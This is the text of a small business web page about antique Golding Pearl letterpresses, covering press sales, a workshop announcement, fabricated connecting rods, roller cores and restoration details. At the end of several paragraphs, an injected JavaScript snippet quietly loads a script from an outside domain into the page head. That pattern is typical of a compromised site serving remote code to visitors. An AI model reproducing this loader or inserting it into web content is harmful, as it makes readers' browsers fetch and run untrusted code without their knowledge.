As the title suggests, I have just started a project to compile and publish everything you would want to know about the ever popular Golding Pearl letterpress.  Focus will be on the Old Style No. 3 and Improved No. 11.  If you have a question about either of these models, I am confident I will be able to provide the answer.  Each week, more pictures and information will be added. I am currently working on a pictorial of the differences between early (1877) and late (1890) OS No. 3’s.  Email me your question at:  john.falstrom@att.net :  Click here to begin.var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

A workshop by John Falstrom is being held on July 16, 2011 at the Lyme Art Association in Old Lyme, CT  details on time, material covered, cost, can be seen at their website: http://lymeartassociation.org/workshops.php  Please join us to learn about this fascinating method of printing beautiful artwork.var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

The following presses are available for sale. These presses are not restored.  Save money and learn about the press by getting your hands a little dirty. These are heavy floor models that require pickup.   They do not require much to start printing. Email for more information: john.falstrom@att.net

Jobber No. 6  (8″ x 12″) motorized $800.00  Sold ……….?/?/13

Improved Pearl No. 11  (7″ x 11″) motorized $1500.00 Sold ……….10/10/11var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

I am now fabricating complete connecting rods for the Golding Pearl No. 11 Improved 7 x 11 press. This is the rod that connects your treadle to the drive arm on the press.  The rod is made out of steel and sized from an original to fit the press perfectly. The top bolt is a difficult to get item with left hand threads so it does not unscrew while operating the press. It is made out of delrin so no lubrication is needed. The bottom connector pin and cotter pin are made out of steel.

 I also sell the upper left hand shoulder screw and lower pin as a package for those that already have the connecting rod but are missing the correct connection hardware. Prices include shipping to the lower 48 states. All others please contact for additonal shipping charges calculated based on your location.

To order click here.

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This was an accessory supplied with the Pearl press. The purpose was to speed output by eliminating the need to remove the printed card. After it was printed, it dropped into the first drawer of the base below. You then just had to place the next blank sheet in the press.var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

We have just added our list of available parts for Golding presses.  More to be added so check back often!

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This press is under restoration and will be available for sale in a few weeks.  Easy garage pick up in Lyme, CT with 10 minute access from Route 95 Sold

I recently purchased this press and four type cabinets full of type from a nice elderly woman in Waterbury, CT.  The press was in her basement and used by her brother to earn extra income.  I believe the brother had passed away some time ago and hadn’t used any of the equipment since the early 80’s.  A recent episode of American Pickers where a press like this was found prompted the owner to decide to sell it.   It is about as dirty a press as I have ever come across, but, under all that dirt is a really good press. It originally was owned by the Waterbury Buckle Co.  The press is missing the drawers which is often the case, but, a cabinet maker would not have a problem recreating them.  It came with one regular original chase, a spider chase and three sets of rollers.  A spider chase is in the press and creates a smaller centered chase to work in if what your are printing is not large.   The really nice surprise,( and I say surprise because it was so dark in her basement,) is that there are no broken parts, repairs or welds that I can find.  I think that’s unusual because parts are pretty fragile on this press and are often broken.  The date on it is 1890.

A word about the restoration:  This press will be stripped, primed, and repainted.  It will be clean enough to immediately put in any room in your house or apartment.  It comes with a regular chase and a highly unusual spider chase. It will have new rubber rollers, an extra set of roller cores, and be adjusted to be printing ready.  As with all the presses I  restore and sell, it includes my custom crafted roller/platen gauge and an introduction to letterpress lesson if you need it. (Please note, it does not include the ink plate visible in the photos, that is my personal plate from another press) If you are looking for a good looking Old Style Pearl (7 x 11) that is in perfect working condition this may be your press.  During the restoration process I discovered a repair was needed to the treadle.  It has been expertly done and will not break or be noticed visually.  A deposit of $250.00 now will hold this until delivery.  Questions?  john.falstrom@att.net 

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The following presses are available “as is” ready for your restoration.  Save money and learn about the press by getting your hands a little dirty.  These are heavy floor models that require pickup.  They may have some repairs made to them from previous damage or require repairs.  This is all part of what restoration is about.  Being handy or having access to someone handy would be advised.  The Jobbers are professional models capable of the best printing.  They do not require much to start printing.  Email for more information: john.falstrom@att.net

Improved Pearl No. 11, s/n 1276 (7 x 11)  $500.00 Sold 3/7/2011

Pearl No. 14,  s/n: 426 (9×14) $300.00 Sold 3/16/2011

Jobber No. 6,  s/n: 2026 (8×12) $800.00 Sold 3/16/2011

Jobber No. 7, s/n: 2736 (10×15) $1000.00 Sold 3/16/2011

Thanks for the tremendous response.  The presses have all been promised to buyers.  We will list more as they become available.var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

I have added the necessary machinery to begin making roller cores and trucks for all Golding platen presses.  Cores begin as steel rod and the ends are turned down and a pin inserted to interlock with the truck.  Trucks begin as Delrin rod and are turned down and a slot milled to engage the core pin.  This creates a simple yet effective lock between the truck and the core helping to eliminate slurring which occurs when your roller is not being positively driven by the rolling truck.  Not all models have been added to the dropdown menu yet, but, I have the specs for all presses.  Email me with specifics if your press is not listed yet.  Purchase here:

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Poco Instructions Image 1 of 4

Price: $1195

This is a Poco “0” by Hacker Manufacturing with a 12″ x 18″ printing area.  It is classified as a cylinder press.  It has been completely disassembled and restored.  All  painted parts were sandblasted.  The bed and the cylinder were soda blasted then waxed.  Sandblasted parts were primed and given two coats of a custom blue-gray oil based paint.  The gear on the cylinder is new.  It was machined by a local machinist and makes the press work as new.  I made a pin wrench on my lathe which is used to tighten the tympan.  I reproduced the original directions and fixed them to the cylinder as it was when originally sold by the manufacturer.  The press is on an original factory metal and wood stand to which I installed casters to allow for easy moment from place to place.  There are handy shelves for paper and ink storage.  The press has its original ink plate.  I will be including a really nice brayer better than the one currently shown in pictures.  This is a  beautiful cylinder galley press that can be used for its original purpose of proofing letterpress projects or can also be used for print making with linoleum/wood block etc.  I will  be including a rubber blanket and tympan so the press will be absolutely ready to use.  This press is in excellent condition and capable of great impression. 

Price $1195.00

This press has been sold.  Look for more as I am always acquiring presses. 

This press must be picked up at our shop in Lyme, CT. 

Easy access from Route 95

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